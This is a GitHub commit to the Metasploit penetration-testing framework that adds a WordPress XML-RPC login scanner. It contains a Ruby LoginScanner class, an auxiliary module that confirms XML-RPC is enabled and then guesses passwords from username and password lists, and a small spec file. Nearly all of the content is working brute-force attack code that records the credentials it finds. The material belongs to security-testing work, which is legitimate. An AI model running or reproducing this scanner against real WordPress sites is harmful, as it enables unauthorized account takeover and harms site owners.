Skip to content

Commit 169d040

Browse files
committed
Land rapid7#3571 - Add Wordpress XML-RPC Login Scanner (with LoginScanner)
2 parents 7040080 + 4ed1fa5 commit 169d040

File tree

3 files changed

+214
-0
lines changed

3 files changed

+214
-0
lines changed
Lines changed: 80 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,80 @@
1+
require 'metasploit/framework/login_scanner/http'
2+
3+
module Metasploit
4+
module Framework
5+
module LoginScanner
6+
7+
# Wordpress XML RPC login scanner
8+
class WordpressRPC < HTTP
9+
10+
# (see Base#attempt_login)
11+
def attempt_login(credential)
12+
http_client = Rex::Proto::Http::Client.new(
13+
host, port, {}, ssl, ssl_version
14+
)
15+
16+
result_opts = {
17+
credential: credential,
18+
host: host,
19+
port: port,
20+
protocol: 'tcp'
21+
}
22+
if ssl
23+
result_opts[:service_name] = 'https'
24+
else
25+
result_opts[:service_name] = 'http'
26+
end
27+
28+
begin
29+
http_client.connect
30+
31+
request = http_client.request_cgi(
32+
'uri' => uri,
33+
'method' => method,
34+
'data' => generate_xml_request(credential.public,credential.private),
35+
)
36+
response = http_client.send_recv(request)
37+
38+
if response && response.code == 200 && response.body =~ /<value><int>401<\/int><\/value>/ || response.body =~ /<name>user_id<\/name>/
39+
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: response)
40+
elsif response.body =~ /<value><int>-32601<\/int><\/value>/
41+
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)
42+
else
43+
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: response)
44+
end
45+
rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error
46+
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)
47+
end
48+
49+
Result.new(result_opts)
50+
51+
end
52+
53+
# This method generates the XML data for the RPC login request
54+
# @param user [String] the username to authenticate with
55+
# @param pass [String] the password to authenticate with
56+
# @return [String] the generated XML body for the request
57+
def generate_xml_request(user, pass)
58+
xml = "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>"
59+
xml << '<methodCall>'
60+
xml << '<methodName>wp.getUsers</methodName>'
61+
xml << '<params><param><value>1</value></param>'
62+
xml << "<param><value>#{user}</value></param>"
63+
xml << "<param><value>#{pass}</value></param>"
64+
xml << '</params>'
65+
xml << '</methodCall>'
66+
xml
67+
end
68+
69+
# (see Base#set_sane_defaults)
70+
def set_sane_defaults
71+
@method = "POST".freeze
72+
super
73+
end
74+
75+
end
76+
end
77+
end
78+
end
79+
80+
Lines changed: 123 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,123 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'metasploit/framework/credential_collection'
8+
require 'metasploit/framework/login_scanner/wordpress_rpc'
9+
10+
11+
class Metasploit3 < Msf::Auxiliary
12+
include Msf::HTTP::Wordpress
13+
include Msf::Auxiliary::Scanner
14+
include Msf::Auxiliary::AuthBrute
15+
include Msf::Auxiliary::Report
16+
17+
def initialize(info = {})
18+
super(update_info(info,
19+
'Name' => 'Wordpress XML-RPC Username/Password Login Scanner',
20+
'Description' => '
21+
This module attempts to authenticate against a Wordpress-site
22+
(via XMLRPC) using username and password combinations indicated
23+
by the USER_FILE, PASS_FILE, and USERPASS_FILE options.
24+
',
25+
'Author' =>
26+
[
27+
'Cenk Kalpakoglu <cenk.kalpakoglu[at]gmail.com>',
28+
],
29+
'License' => MSF_LICENSE,
30+
'References' =>
31+
[
32+
['URL', 'https://wordpress.org/'],
33+
['URL', 'http://www.ethicalhack3r.co.uk/security/introduction-to-the-wordpress-xml-rpc-api/'],
34+
['CVE', '1999-0502'] # Weak password
35+
]
36+
))
37+
38+
register_options(
39+
[
40+
Opt::RPORT(80),
41+
], self.class)
42+
43+
deregister_options('BLANK_PASSWORDS') # we don't need this option
44+
end
45+
46+
def xmlrpc_enabled?
47+
xml = "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>"
48+
xml << '<methodCall>'
49+
xml << '<methodName>demo.sayHello</methodName>'
50+
xml << '<params>'
51+
xml << '<param></param>'
52+
xml << '</params>'
53+
xml << '</methodCall>'
54+
55+
res = send_request_cgi(
56+
'uri' => wordpress_url_xmlrpc,
57+
'method' => 'POST',
58+
'data' => xml
59+
)
60+
61+
if res && res.body =~ /<string>Hello!<\/string>/
62+
return true # xmlrpc is enabled
63+
end
64+
return false
65+
end
66+
67+
def run_host(ip)
68+
print_status("#{peer}:#{wordpress_url_xmlrpc} - Sending Hello...")
69+
if xmlrpc_enabled?
70+
vprint_good("XMLRPC enabled, Hello message received!")
71+
else
72+
print_error("XMLRPC is not enabled! Aborting")
73+
return :abort
74+
end
75+
76+
print_status("#{peer} - Starting XML-RPC login sweep...")
77+
78+
cred_collection = Metasploit::Framework::CredentialCollection.new(
79+
blank_passwords: datastore['BLANK_PASSWORDS'],
80+
pass_file: datastore['PASS_FILE'],
81+
password: datastore['PASSWORD'],
82+
user_file: datastore['USER_FILE'],
83+
userpass_file: datastore['USERPASS_FILE'],
84+
username: datastore['USERNAME'],
85+
user_as_pass: datastore['USER_AS_PASS'],
86+
)
87+
88+
scanner = Metasploit::Framework::LoginScanner::WordpressRPC.new(
89+
host: ip,
90+
port: rport,
91+
uri: wordpress_url_xmlrpc,
92+
proxies: datastore["PROXIES"],
93+
cred_details: cred_collection,
94+
stop_on_success: datastore['STOP_ON_SUCCESS'],
95+
connection_timeout: 5,
96+
)
97+
98+
scanner.scan! do |result|
99+
credential_data = result.to_h
100+
credential_data.merge!(
101+
module_fullname: self.fullname,
102+
workspace_id: myworkspace_id
103+
)
104+
case result.status
105+
when Metasploit::Model::Login::Status::SUCCESSFUL
106+
print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'"
107+
credential_core = create_credential(credential_data)
108+
credential_data[:core] = credential_core
109+
create_credential_login(credential_data)
110+
:next_user
111+
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
112+
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
113+
invalidate_login(credential_data)
114+
:abort
115+
when Metasploit::Model::Login::Status::INCORRECT
116+
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
117+
invalidate_login(credential_data)
118+
end
119+
end
120+
121+
end
122+
123+
end
Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
require 'spec_helper'
2+
require 'metasploit/framework/login_scanner/wordpress_rpc'
3+
4+
describe Metasploit::Framework::LoginScanner::WordpressRPC do
5+
6+
it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false
7+
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
8+
it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP'
9+
10+
11+
end

0 commit comments

Comments
 (0)